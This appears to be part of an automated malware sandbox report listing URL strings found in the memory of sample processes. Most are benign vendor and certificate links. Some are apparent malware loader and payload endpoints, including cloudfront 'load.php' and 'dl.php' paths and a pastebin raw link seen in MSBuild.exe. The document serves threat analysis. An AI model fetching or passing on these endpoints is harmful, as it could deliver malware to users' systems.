Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.symauth.com/cps0(
Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.symauth.com/rpa00
Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0
Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 00000006.00000002.1698758122.0000000004B71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lBkq
Source: u5o8.0.exe, 0000000A.00000002.2227338946.0000000022188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: u5o8.0.exe, 0000000A.00000002.2227338946.0000000022188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000006.00000002.1700828145.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1700828145.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1700828145.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: JlvRdFpwOD.exe, 00000000.00000003.1704157144.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705283099.00000000005C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d295fdouc92v9n.cloudfront.net/
Source: JlvRdFpwOD.exe, 00000000.00000002.1705283099.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705446058.00000000005E7000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000003.1704008347.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000003.1704157144.00000000005CC000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705283099.00000000005CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d295fdouc92v9n.cloudfront.net/load/load.php?c=1000
Source: JlvRdFpwOD.exe, 00000000.00000002.1705283099.0000000000588000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d295fdouc92v9n.cloudfront.net/load/load.php?c=1000/silentget
Source: JlvRdFpwOD.exe, 00000000.00000003.1703850919.0000000000614000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705554281.0000000000614000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d295fdouc92v9n.cloudfront.net/load/load.php?c=1000=z)8
Source: powershell.exe, 00000006.00000002.1698758122.0000000004D98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d2iv78ooxaijb6.cloudfront.net
Source: powershell.exe, 00000006.00000002.1698300145.0000000002D68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=
Source: powershell.exe, 00000006.00000002.1698758122.0000000004D98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=%7BSPOLO_ID%7D
Source: JlvRdFpwOD.exe, 00000000.00000003.1703850919.0000000000605000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=
Source: JlvRdFpwOD.exe, 00000000.00000003.1703850919.0000000000605000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dc.services.visualstudio.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dc.services.visualstudio.com/Jhttps://rt.services.visualstudio.com/Fhttps://profiler.monitor
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dc.services.visualstudio.com/api/profiles/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dc.services.visualstudio.com/f
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://download.avira.com/download/
Source: svchost.exe, 0000000B.00000002.2872678492.000001878851B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2870298479.0000018782EAE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
Source: u5o8.3.exe, 00000014.00000003.2312386402.00000000025D4000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.6-
Source: svchost.exe, 0000000B.00000002.2871959565.00000187883D0000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2123902055.00000187882BB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2871129130.0000018783B40000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2872838671.0000018788870000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1992444582.00000187882B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe6C:
Source: svchost.exe, 0000000B.00000002.2872363456.000001878848D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://download.iolo.net:443/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.ex
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788306000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788353000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1800939737.00000187883B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2938855133.000002EADAB70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1D5C000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966561650.000002EAE1510000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Microsoft/ApplicationInsights-dotnet
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1D5C000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966561650.000002EAE1510000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/Microsoft/ApplicationInsights-dotnetw
Source: powershell.exe, 00000006.00000002.1698758122.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2953144176.000002EADB142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&m
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&o
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&r
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&s
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&v
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&z
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/ApplicationInsights-dotnet/issues/2560
Source: powershell.exe, 00000006.00000002.1698758122.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2953144176.000002EADB142000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2934371619.000002EADA852000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://indiantypefoundry.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://iolo.azure-api.net/ent/v1
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://iolo.comH42652B74-0AD8-4B60-B8FD-69ED38F7666B
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.azure.com//.default
Source: powershell.exe, 00000006.00000002.1700828145.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000000B.00000003.1800939737.0000018788306000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: MSBuild.exe, 00000019.00000002.2874050270.0000000002D71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pastebin.com/raw/z9pYkqPQ
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.monitor.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.monitor.azure.com/l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://rt.services.visualstudio.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://rt.services.visualstudio.com/l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2953144176.000002EADB142000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2934371619.000002EADA852000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://scripts.sil.org/OFL
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://scripts.sil.org/OFLThis
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2953144176.000002EADB142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://scripts.sil.org/OFLX8
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://scripts.sil.org/OFLhttps://indiantypefoundry.comNinad
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2934371619.000002EADA852000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://scripts.sil.org/OFLum
Source: i1.exe, 00000005.00000003.1919179688.0000000004FDC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0D
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://snapshot.monitor.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://snapshot.monitor.azure.com/&
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.iolo.com/support/solutions/articles/44
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC2180000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.iolo.com/support/solutions/articles/44001781185
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.iolo.com/support/solutions/articles/44001781185?
Source: u5o8.0.exe, 0000000A.00000003.1970559691.000000002229E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: u5o8.0.exe, 0000000A.00000003.1970559691.000000002229E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: u5o8.0.exe, 0000000A.00000003.1846236436.00000000224ED000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: u5o8.0.exe, 0000000A.00000003.1846236436.00000000224ED000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp String found in binary or memory: https://taskscheduler.codeplex.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp String found in binary or memory: https://taskscheduler.codeplex.com/H
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webhooklistenersfunc.azurewebsites.net/api/lookup/constella-dark-web-alerts
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/;LiveEndpoint=https://westus2.livediagnostics.mon
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/v2/track
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://westus2.livediagnostics.monitor.azure.com/
Source: i1.exe, 00000005.00000003.1919179688.0000000004FDC000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1962292666.0000000003E4A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2209302151.0000000004B68000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328005154.0000000003C0B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: u5o8.0.exe, 0000000A.00000002.2227338946.0000000022188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/eula/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/eula/?
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/privacy/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/privacy/?
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/sales-policy/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.iolo.com/company/legal/sales-policy/?
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: u5o8.0.exe, 0000000A.00000003.1970559691.000000002229E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: u5o8.0.exe, 0000000A.00000003.1970559691.000000002229E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: u5o8.0.exe, 0000000A.00000002.2205500428.000000000044B000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: u5o8.0.exe, 0000000A.00000003.1970559691.000000002229E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
